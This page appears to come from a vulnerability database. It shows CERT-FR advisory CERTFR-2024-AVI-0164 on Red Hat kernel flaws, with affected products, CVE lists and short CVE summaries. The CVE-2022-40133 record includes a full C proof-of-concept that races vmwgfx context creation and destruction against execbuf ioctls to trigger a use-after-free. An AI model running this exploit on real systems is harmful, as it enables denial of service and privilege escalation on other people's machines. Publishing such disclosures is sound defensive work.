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CERTFR-2024-AVI-0164
Vulnerability from certfr_avis
De multiples vulnérabilités ont été découvertes dans le noyau Linux de RedHat. Certaines d'entre elles permettent à un attaquant de provoquer un problème de sécurité non spécifié par l'éditeur, une exécution de code arbitraire à distance et un déni de service à distance.
Solution
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
NoneImpacted products
| Vendor | Product | Description | ||
|---|---|---|---|---|
| Red Hat | Red Hat Enterprise Linux Server | Red Hat Enterprise Linux Server - AUS 8.6 x86_64 | ||
| Red Hat | Red Hat Enterprise Linux | Red Hat Enterprise Linux for Power, little endian 8 ppc64le | ||
| Red Hat | Red Hat Enterprise Linux | Red Hat Enterprise Linux for IBM z Systems 8 s390x | ||
| Red Hat | Red Hat Enterprise Linux Server | Red Hat Enterprise Linux Server for Power LE - Update Services for SAP Solutions 8.6 ppc64le | ||
| Red Hat | Red Hat Enterprise Linux | Red Hat Enterprise Linux for x86_64 - Extended Update Support 8.6 x86_64 | ||
| Red Hat | Red Hat Enterprise Linux | Red Hat Enterprise Linux for Power, little endian - Extended Update Support 8.6 ppc64le | ||
| Red Hat | Red Hat Enterprise Linux | Red Hat Enterprise Linux for x86_64 8 x86_64 | ||
| Red Hat | Red Hat Enterprise Linux Server | Red Hat Enterprise Linux Server - TUS 8.6 x86_64 | ||
| Red Hat | Red Hat Enterprise Linux | Red Hat Enterprise Linux for IBM z Systems - Extended Update Support 8.6 s390x | ||
| Red Hat | Red Hat CodeReady Linux Builder | Red Hat CodeReady Linux Builder for ARM 64 - Extended Update Support 8.6 aarch64 | ||
| Red Hat | Red Hat Enterprise Linux | Red Hat Enterprise Linux for ARM 64 8 aarch64 | ||
| Red Hat | Red Hat CodeReady Linux Builder | Red Hat CodeReady Linux Builder for ARM 64 8 aarch64 | ||
| Red Hat | Red Hat CodeReady Linux Builder | Red Hat CodeReady Linux Builder for x86_64 8 x86_64 | ||
| Red Hat | Red Hat CodeReady Linux Builder | Red Hat CodeReady Linux Builder for x86_64 - Extended Update Support 8.6 x86_64 | ||
| Oracle | Virtualization | Red Hat Virtualization Host 4 for RHEL 8 x86_64 | ||
| Red Hat | Red Hat CodeReady Linux Builder | Red Hat CodeReady Linux Builder for Power, little endian 8 ppc64le | ||
| Red Hat | Red Hat Enterprise Linux | Red Hat Enterprise Linux for ARM 64 - Extended Update Support 8.6 aarch64 | ||
| Red Hat | Red Hat CodeReady Linux Builder | Red Hat CodeReady Linux Builder for Power, little endian - Extended Update Support 8.6 ppc64le | ||
| Red Hat | Red Hat Enterprise Linux | Red Hat Enterprise Linux for x86_64 - Update Services for SAP Solutions 8.6 x86_64 |
References
| Title | Publication Time | Tags | ||||||
|---|---|---|---|---|---|---|---|---|
|
||||||||
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "Red Hat Enterprise Linux Server - AUS 8.6 x86_64",
"product": {
"name": "Red Hat Enterprise Linux Server",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat Enterprise Linux for Power, little endian 8 ppc64le",
"product": {
"name": "Red Hat Enterprise Linux",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat Enterprise Linux for IBM z Systems 8 s390x",
"product": {
"name": "Red Hat Enterprise Linux",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat Enterprise Linux Server for Power LE - Update Services for SAP Solutions 8.6 ppc64le",
"product": {
"name": "Red Hat Enterprise Linux Server",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat Enterprise Linux for x86_64 - Extended Update Support 8.6 x86_64",
"product": {
"name": "Red Hat Enterprise Linux",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat Enterprise Linux for Power, little endian - Extended Update Support 8.6 ppc64le",
"product": {
"name": "Red Hat Enterprise Linux",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat Enterprise Linux for x86_64 8 x86_64",
"product": {
"name": "Red Hat Enterprise Linux",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat Enterprise Linux Server - TUS 8.6 x86_64",
"product": {
"name": "Red Hat Enterprise Linux Server",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat Enterprise Linux for IBM z Systems - Extended Update Support 8.6 s390x",
"product": {
"name": "Red Hat Enterprise Linux",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat CodeReady Linux Builder for ARM 64 - Extended Update Support 8.6 aarch64",
"product": {
"name": "Red Hat CodeReady Linux Builder",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat Enterprise Linux for ARM 64 8 aarch64",
"product": {
"name": "Red Hat Enterprise Linux",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat CodeReady Linux Builder for ARM 64 8 aarch64",
"product": {
"name": "Red Hat CodeReady Linux Builder",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat CodeReady Linux Builder for x86_64 8 x86_64",
"product": {
"name": "Red Hat CodeReady Linux Builder",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat CodeReady Linux Builder for x86_64 - Extended Update Support 8.6 x86_64",
"product": {
"name": "Red Hat CodeReady Linux Builder",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat Virtualization Host 4 for RHEL 8 x86_64",
"product": {
"name": "Virtualization",
"vendor": {
"name": "Oracle",
"scada": false
}
}
},
{
"description": "Red Hat CodeReady Linux Builder for Power, little endian 8 ppc64le",
"product": {
"name": "Red Hat CodeReady Linux Builder",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat Enterprise Linux for ARM 64 - Extended Update Support 8.6 aarch64",
"product": {
"name": "Red Hat Enterprise Linux",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat CodeReady Linux Builder for Power, little endian - Extended Update Support 8.6 ppc64le",
"product": {
"name": "Red Hat CodeReady Linux Builder",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
},
{
"description": "Red Hat Enterprise Linux for x86_64 - Update Services for SAP Solutions 8.6 x86_64",
"product": {
"name": "Red Hat Enterprise Linux",
"vendor": {
"name": "Red Hat",
"scada": false
}
}
}
],
"affected_systems_content": null,
"content": "## Solution\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des\ncorrectifs (cf. section Documentation).\n",
"cves": [
{
"name": "CVE-2022-29581",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-29581"
},
{
"name": "CVE-2023-46813",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-46813"
},
{
"name": "CVE-2023-1838",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-1838"
},
{
"name": "CVE-2022-38457",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-38457"
},
{
"name": "CVE-2023-6536",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-6536"
},
{
"name": "CVE-2024-0646",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-0646"
},
{
"name": "CVE-2023-40283",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-40283"
},
{
"name": "CVE-2022-40133",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-40133"
},
{
"name": "CVE-2022-3239",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-3239"
},
{
"name": "CVE-2023-6817",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-6817"
},
{
"name": "CVE-2023-31084",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-31084"
},
{
"name": "CVE-2022-41858",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-41858"
},
{
"name": "CVE-2023-1074",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-1074"
},
{
"name": "CVE-2023-4921",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-4921"
},
{
"name": "CVE-2022-2196",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-2196"
},
{
"name": "CVE-2021-33655",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-33655"
},
{
"name": "CVE-2023-6356",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-6356"
},
{
"name": "CVE-2022-3545",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-3545"
},
{
"name": "CVE-2023-2176",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-2176"
},
{
"name": "CVE-2022-36402",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-36402"
},
{
"name": "CVE-2023-45871",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-45871"
},
{
"name": "CVE-2022-3625",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-3625"
},
{
"name": "CVE-2023-6535",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-6535"
},
{
"name": "CVE-2022-20368",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-20368"
},
{
"name": "CVE-2022-23960",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-23960"
},
{
"name": "CVE-2022-38096",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-38096"
},
{
"name": "CVE-2023-30456",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-30456"
},
{
"name": "CVE-2023-6606",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-6606"
},
{
"name": "CVE-2023-1073",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-1073"
},
{
"name": "CVE-2023-6546",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-6546"
},
{
"name": "CVE-2024-1086",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-1086"
},
{
"name": "CVE-2023-4623",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-4623"
},
{
"name": "CVE-2023-51042",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-51042"
},
{
"name": "CVE-2023-5717",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-5717"
},
{
"name": "CVE-2023-2166",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-2166"
},
{
"name": "CVE-2023-6931",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-6931"
},
{
"name": "CVE-2023-6610",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-6610"
}
],
"initial_release_date": "2024-02-23T00:00:00",
"last_revision_date": "2024-02-23T00:00:00",
"links": [],
"reference": "CERTFR-2024-AVI-0164",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2024-02-23T00:00:00.000000"
}
],
"risks": [
{
"description": "D\u00e9ni de service \u00e0 distance"
},
{
"description": "Ex\u00e9cution de code arbitraire \u00e0 distance"
},
{
"description": "Atteinte \u00e0 l\u0027int\u00e9grit\u00e9 des donn\u00e9es"
},
{
"description": "Non sp\u00e9cifi\u00e9 par l\u0027\u00e9diteur"
},
{
"description": "Atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es"
},
{
"description": "\u00c9l\u00e9vation de privil\u00e8ges"
}
],
"summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 d\u00e9couvertes dans \u003cspan\nclass=\"textit\"\u003ele noyau Linux de RedHat\u003c/span\u003e. Certaines d\u0027entre elles\npermettent \u00e0 un attaquant de provoquer un probl\u00e8me de s\u00e9curit\u00e9 non\nsp\u00e9cifi\u00e9 par l\u0027\u00e9diteur, une ex\u00e9cution de code arbitraire \u00e0 distance et\nun d\u00e9ni de service \u00e0 distance.\n",
"title": "Multiples vuln\u00e9rabilit\u00e9s dans le noyau Linux de RedHat",
"vendor_advisories": [
{
"published_at": null,
"title": "Bulletin de s\u00e9curit\u00e9 RedHat RHSA-2024:0930 du 21 f\u00e9vrier 2024",
"url": "https://access.redhat.com/errata/RHSA-2024:0930/"
},
{
"published_at": null,
"title": "Bulletin de s\u00e9curit\u00e9 RedHat RHSA-2024:0897 du 20 f\u00e9vrier 2024",
"url": "https://access.redhat.com/errata/RHSA-2024:0897/"
}
]
}
CVE-2022-40133 (GCVE-0-2022-40133)
Vulnerability from cvelistv5
Published
2022-09-09 14:39
Modified
2024-09-17 03:49
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- CWE-416 - Use After Free
Summary
A use-after-free(UAF) vulnerability was found in function 'vmw_execbuf_tie_context' in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in Linux kernel's vmwgfx driver with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS).
References
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-03T12:14:39.687Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://bugzilla.openanolis.cn/show_bug.cgi?id=2075"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "kernel",
"vendor": "Linux",
"versions": [
{
"lessThan": "5.13.0-52*",
"status": "affected",
"version": "v4.20-rc1",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"value": "Ziming Zhang(ezrakiez@gmail.com) from Ant Group Light-Year Security Lab"
}
],
"datePublic": "2022-09-06T00:00:00",
"descriptions": [
{
"lang": "en",
"value": "A use-after-free(UAF) vulnerability was found in function \u0027vmw_execbuf_tie_context\u0027 in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in Linux kernel\u0027s vmwgfx driver with device file \u0027/dev/dri/renderD128 (or Dxxx)\u0027. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS)."
}
],
"exploits": [
{
"lang": "en",
"value": "#include \u003cstdio.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cerrno.h\u003e\n\n#include \u003clinux/if_tun.h\u003e\n#include \u003cnet/if.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003csys/stat.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003csys/socket.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cstdlib.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003cerrno.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003cstdint.h\u003e\n#include \u003cnetinet/ip.h\u003e\n#include \u003csys/resource.h\u003e\n#include \u003csys/syscall.h\u003e\n#include \u003climits.h\u003e\n#include \u003csys/mman.h\u003e\n\n#include \u003clinux/fs.h\u003e\nint sid =0;\nint fd = 0;\nint handle=0;\nint cid=0;\ntypedef struct mixer\n{\n\tint index;\n\tint fd;\n\tchar *msg;\n}mixer_t;\n\nstruct drm_vmw_surface_create_req {\n\t__u32 flags;\n\t__u32 format;\n\t__u32 mip_levels[6];\n\t__u64 size_addr;\n\t__s32 shareable;\n\t__s32 scanout;\n};\nstruct drm_vmw_execbuf_arg {\n\t__u64 commands;\n\t__u32 command_size;\n\t__u32 throttle_us;\n\t__u64 fence_rep;\n\t__u32 version;\n\t__u32 flags;\n\t__u32 context_handle;\n\t__s32 imported_fence_fd;\n};\nvoid init(){\nif ((fd = open(\"/dev/dri/renderD128\", O_RDWR)) == -1)\n {\n printf(\"open tun failed: %s\\n\", strerror(errno));\n return -1;\n }\n \n}\nvoid poc(int sid,int cid){ \nint cmd[0x1000]={0};\ncmd[0]=1148;\ncmd[1]=0x50;\ncmd[2]=0;\ncmd[3]=1;\ncmd[4]=sid;\ncmd[5]=10;\nstruct drm_vmw_execbuf_arg arg={0};\n\targ.commands=cmd;\n\targ.command_size=0x100;\n\targ.version=2; \n\targ.context_handle=cid;\n if (ioctl(fd, 0x4028644C, \u0026arg) == -1)\n {\n printf(\"poc failed: %s\\n\", strerror(errno));\n return -1;\n }\n\n}\nint create_surface(){\nint buf[0x100]={0};\nbuf[0]=64;\nbuf[1]=64;\nbuf[2]=64;\n\nstruct drm_vmw_surface_create_req arg={0};\narg.flags=0;\narg.format=2;\narg.mip_levels[0]=1;\narg.size_addr=buf;\narg.shareable=0;\narg.scanout=0x10;\n\nif (ioctl(fd, 0xC0306449, \u0026arg) == -1)\n {\n printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n return -1;\n }\nreturn arg.flags;\n}\nint alloc_context(){\n\nint arg[0x10]={0};\narg[0]=0;\narg[1]=0x100;\n\nif (ioctl(fd, 0x80086447, \u0026arg) == -1)\n {\n printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n return -1;\n }\n return arg[0]; \n}\n\n\n\nvoid destory_context(int sid){\n\nint arg[0x10]={0};\narg[0]=sid;\nif (ioctl(fd, 0x40086448, \u0026arg) == -1)\n {\n printf(\"destory_surface failed: %s\\n\", strerror(errno));\n return -1;\n } \n}\nvoid thread1(){\nwhile(1){\ncid = alloc_context(); \ndestory_context(cid); \n}\n}\nvoid thread2(){\nwhile(1){\npoc(sid,cid); \n}\n\n}\n\n\nint main(int ac, char **argv)\n{\n pthread_t tid1,tid2;\n\n \n\ninit();\nsid=create_surface();\n\n\n if(pthread_create(\u0026tid1,NULL,thread1,NULL)){\n perror(\"thread_create\");\n }\n\n\t\n if(pthread_create(\u0026tid2,NULL,thread2,NULL)){\n perror(\"thread_create\");\n }\n \n while(1){\n sleep(3);\n \n }\n\n\n}"
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-416",
"description": "CWE-416 Use After Free",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2022-09-09T14:39:51",
"orgId": "cb8f1db9-b4b1-487b-a760-f65c4f368d8e",
"shortName": "Anolis"
},
"references": [
{
"tags": [
"x_refsource_MISC"
],
"url": "https://bugzilla.openanolis.cn/show_bug.cgi?id=2075"
}
],
"source": {
"defect": [
"https://bugzilla.openanolis.cn/show_bug.cgi?id=2075"
],
"discovery": "INTERNAL"
},
"title": "There is an UAF vulnerability in vmwgfx driver",
"x_generator": {
"engine": "Vulnogram 0.0.9"
},
"x_legacyV4Record": {
"CVE_data_meta": {
"AKA": "Anolis",
"ASSIGNER": "security@openanolis.org",
"DATE_PUBLIC": "2022-09-06T07:00:00.000Z",
"ID": "CVE-2022-40133",
"STATE": "PUBLIC",
"TITLE": "There is an UAF vulnerability in vmwgfx driver"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "kernel",
"version": {
"version_data": [
{
"version_affected": "\u003e=",
"version_name": "5.13.0-52",
"version_value": "v4.20-rc1"
}
]
}
}
]
},
"vendor_name": "Linux"
}
]
}
},
"credit": [
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CVE-2021-33655 (GCVE-0-2021-33655)
Vulnerability from cvelistv5
Published
2022-07-18 14:45
Modified
2024-08-03 23:58
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- CWE-787 - Out-of-bounds Write
Summary
When sending malicous data to kernel by ioctl cmd FBIOPUT_VSCREENINFO,kernel will write memory out of bounds.
References
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CVE-2022-2196 (GCVE-0-2022-2196)
Vulnerability from cvelistv5
Published
2023-01-09 10:59
Modified
2025-02-13 16:28
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- CWE-1188 - Insecure Default Initialization of Resource
Summary
A regression exists in the Linux Kernel within KVM: nVMX that allowed for speculative execution attacks. L2 can carry out Spectre v2 attacks on L1 due to L1 thinking it doesn't need retpolines or IBPB after running L2 due to KVM (L0) advertising eIBRS support to L1. An attacker at L2 with code execution can execute code on an indirect branch on the host machine. We recommend upgrading to Kernel 6.2 or past commit 2e7eab81425a
References
Impacted products
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| Linux | Linux Kernel |
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CVE-2022-3625 (GCVE-0-2022-3625)
Vulnerability from cvelistv5
Published
2022-10-21 00:00
Modified
2024-08-03 01:14
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- CWE-119 - Memory Corruption -> CWE-416 Use After Free
Summary
A vulnerability was found in Linux Kernel. It has been classified as critical. This affects the function devlink_param_set/devlink_param_get of the file net/core/devlink.c of the component IPsec. The manipulation leads to use after free. It is recommended to apply a patch to fix this issue. The identifier VDB-211929 was assigned to this vulnerability.
References
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CVE-2023-6546 (GCVE-0-2023-6546)
Vulnerability from cvelistv5
Published
2023-12-21 20:01
Modified
2025-09-25 13:21
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- CWE-416 - Use After Free
Summary
A race condition was found in the GSM 0710 tty multiplexor in the Linux kernel. This issue occurs when two threads execute the GSMIOC_SETCONF ioctl on the same tty file descriptor with the gsm line discipline enabled, and can lead to a use-after-free problem on a struct gsm_dlci while restarting the gsm mux. This could allow a local unprivileged user to escalate their privileges on the system.
References
Impacted products
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| Red Hat | Red Hat Enterprise Linux 8 |
Unaffected: 0:4.18.0-513.24.1.rt7.326.el8_9 < * cpe:/a:redhat:enterprise_linux:8::nfv cpe:/a:redhat:enterprise_linux:8::realtime |
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CVE-2023-51042 (GCVE-0-2023-51042)
Vulnerability from cvelistv5
Published
2024-01-23 00:00
Modified
2024-10-03 20:40
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- n/a
Summary
In the Linux kernel before 6.4.12, amdgpu_cs_wait_all_fences in drivers/gpu/drm/amd/amdgpu/amdgpu_cs.c has a fence use-after-free.
References
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CVE-2022-38457 (GCVE-0-2022-38457)
Vulnerability from cvelistv5
Published
2022-09-09 14:39
Modified
2024-09-17 02:11
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- CWE-416 - Use After Free
Summary
A use-after-free(UAF) vulnerability was found in function 'vmw_cmd_res_check' in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in Linux kernel's vmwgfx driver with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS).
References
| URL | Tags | ||||
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CVE-2022-38096 (GCVE-0-2022-38096)
Vulnerability from cvelistv5
Published
2022-09-09 14:39
Modified
2024-09-16 19:46
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- CWE-476 - NULL Pointer Dereference
Summary
A NULL pointer dereference vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in GPU component of Linux kernel with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS).
References
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CVE-2022-3239 (GCVE-0-2022-3239)
Vulnerability from cvelistv5
Published
2022-09-19 00:00
Modified
2024-08-03 01:00
Severity ?
VLAI Severity ?
EPSS score ?
CWE
Summary
A flaw use after free in the Linux kernel video4linux driver was found in the way user triggers em28xx_usb_probe() for the Empia 28xx based TV cards. A local user could use this flaw to crash the system or potentially escalate their privileges on the system.
References
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CVE-2022-29581 (GCVE-0-2022-29581)
Vulnerability from cvelistv5
Published
2022-05-17 16:50
Modified
2025-04-21 13:53
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- CWE-911 - Improper Update of Reference Count
Summary
Improper Update of Reference Count vulnerability in net/sched of Linux Kernel allows local attacker to cause privilege escalation to root. This issue affects: Linux Kernel versions prior to 5.18; version 4.14 and later versions.
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CVE-2023-2176 (GCVE-0-2023-2176)
Vulnerability from cvelistv5
Published
2023-04-20 00:00
Modified
2025-05-05 16:01
Severity ?
VLAI Severity ?
EPSS score ?
CWE
Summary
A vulnerability was found in compare_netdev_and_ip in drivers/infiniband/core/cma.c in RDMA in the Linux Kernel. The improper cleanup results in out-of-boundary read, where a local user can utilize this problem to crash the system or escalation of privilege.
References
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CVE-2023-45871 (GCVE-0-2023-45871)
Vulnerability from cvelistv5
Published
2023-10-15 00:00
Modified
2024-08-02 20:29
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- n/a
Summary
An issue was discovered in drivers/net/ethernet/intel/igb/igb_main.c in the IGB driver in the Linux kernel before 6.5.3. A buffer size may not be adequate for frames larger than the MTU.
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CVE-2023-6817 (GCVE-0-2023-6817)
Vulnerability from cvelistv5
Published
2023-12-18 14:37
Modified
2025-02-13 17:26
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- CWE-416 - Use After Free
Summary
A use-after-free vulnerability in the Linux kernel's netfilter: nf_tables component can be exploited to achieve local privilege escalation.
The function nft_pipapo_walk did not skip inactive elements during set walk which could lead double deactivations of PIPAPO (Pile Packet Policies) elements, leading to use-after-free.
We recommend upgrading past commit 317eb9685095678f2c9f5a8189de698c5354316a.
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CVE-2023-2166 (GCVE-0-2023-2166)
Vulnerability from cvelistv5
Published
2023-04-19 00:00
Modified
2025-02-05 15:13
Severity ?
VLAI Severity ?
EPSS score ?
CWE
Summary
A null pointer dereference issue was found in can protocol in net/can/af_can.c in the Linux before Linux. ml_priv may not be initialized in the receive path of CAN frames. A local user could use this flaw to crash the system or potentially cause a denial of service.
References
Impacted products
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CVE-2024-1086 (GCVE-0-2024-1086)
Vulnerability from cvelistv5
Published
2024-01-31 12:14
Modified
2025-07-30 01:37
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- CWE-416 - Use After Free
Summary
A use-after-free vulnerability in the Linux kernel's netfilter: nf_tables component can be exploited to achieve local privilege escalation.
The nft_verdict_init() function allows positive values as drop error within the hook verdict, and hence the nf_hook_slow() function can cause a double free vulnerability when NF_DROP is issued with a drop error which resembles NF_ACCEPT.
We recommend upgrading past commit f342de4e2f33e0e39165d8639387aa6c19dff660.
References
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|
||||||||||||||||||||||||||||||||||||||||||||
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CVE-2022-20368 (GCVE-0-2022-20368)
Vulnerability from cvelistv5
Published
2022-08-11 14:59
Modified
2024-08-03 02:10
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- Elevation of privilege
Summary
Product: AndroidVersions: Android kernelAndroid ID: A-224546354References: Upstream kernel
References
| URL | Tags | ||||
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CVE-2023-6535 (GCVE-0-2023-6535)
Vulnerability from cvelistv5
Published
2024-02-07 21:04
Modified
2025-09-25 19:21
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- CWE-476 - NULL Pointer Dereference
Summary
A flaw was found in the Linux kernel's NVMe driver. This issue may allow an unauthenticated malicious actor to send a set of crafted TCP packages when using NVMe over TCP, leading the NVMe driver to a NULL pointer dereference in the NVMe driver, causing kernel panic and a denial of service.
References
| URL | Tags | |||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
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Impacted products
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| Red Hat | Red Hat Enterprise Linux 8 |
Unaffected: 0:4.18.0-513.18.1.rt7.320.el8_9 < * cpe:/a:redhat:enterprise_linux:8::realtime cpe:/a:redhat:enterprise_linux:8::nfv |
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CVE-2023-6606 (GCVE-0-2023-6606)
Vulnerability from cvelistv5
Published
2023-12-08 16:58
Modified
2025-09-26 06:27
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- CWE-125 - Out-of-bounds Read
Summary
An out-of-bounds read vulnerability was found in smbCalcSize in fs/smb/client/netmisc.c in the Linux Kernel. This issue could allow a local attacker to crash the system or leak internal kernel information.
References
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Impacted products
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| Red Hat | Red Hat Enterprise Linux 8 |
Unaffected: 0:4.18.0-513.18.1.rt7.320.el8_9 < * cpe:/a:redhat:enterprise_linux:8::realtime cpe:/a:redhat:enterprise_linux:8::nfv |
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CVE-2023-1074 (GCVE-0-2023-1074)
Vulnerability from cvelistv5
Published
2023-03-27 00:00
Modified
2025-03-19 15:44
Severity ?
VLAI Severity ?
EPSS score ?
CWE
Summary
A memory leak flaw was found in the Linux kernel's Stream Control Transmission Protocol. This issue may occur when a user starts a malicious networking service and someone connects to this service. This could allow a local user to starve resources, causing a denial of service.
References
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CVE-2022-36402 (GCVE-0-2022-36402)
Vulnerability from cvelistv5
Published
2022-09-16 16:08
Modified
2024-09-17 03:38
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- CWE-118 - Incorrect Access of Indexable Resource ('Range Error')
Summary
An integer overflow vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in GPU component of Linux kernel with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS).
References
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CVE-2022-3545 (GCVE-0-2022-3545)
Vulnerability from cvelistv5
Published
2022-10-17 00:00
Modified
2025-04-15 13:43
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- CWE-119 - Memory Corruption -> CWE-416 Use After Free
Summary
A vulnerability has been found in Linux Kernel and classified as critical. Affected by this vulnerability is the function area_cache_get of the file drivers/net/ethernet/netronome/nfp/nfpcore/nfp_cppcore.c of the component IPsec. The manipulation leads to use after free. It is recommended to apply a patch to fix this issue. The identifier VDB-211045 was assigned to this vulnerability.
References
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CVE-2023-1073 (GCVE-0-2023-1073)
Vulnerability from cvelistv5
Published
2023-03-27 00:00
Modified
2025-04-23 16:23
Severity ?
VLAI Severity ?
EPSS score ?
CWE
Summary
A memory corruption flaw was found in the Linux kernel’s human interface device (HID) subsystem in how a user inserts a malicious USB device. This flaw allows a local user to crash or potentially escalate their privileges on the system.
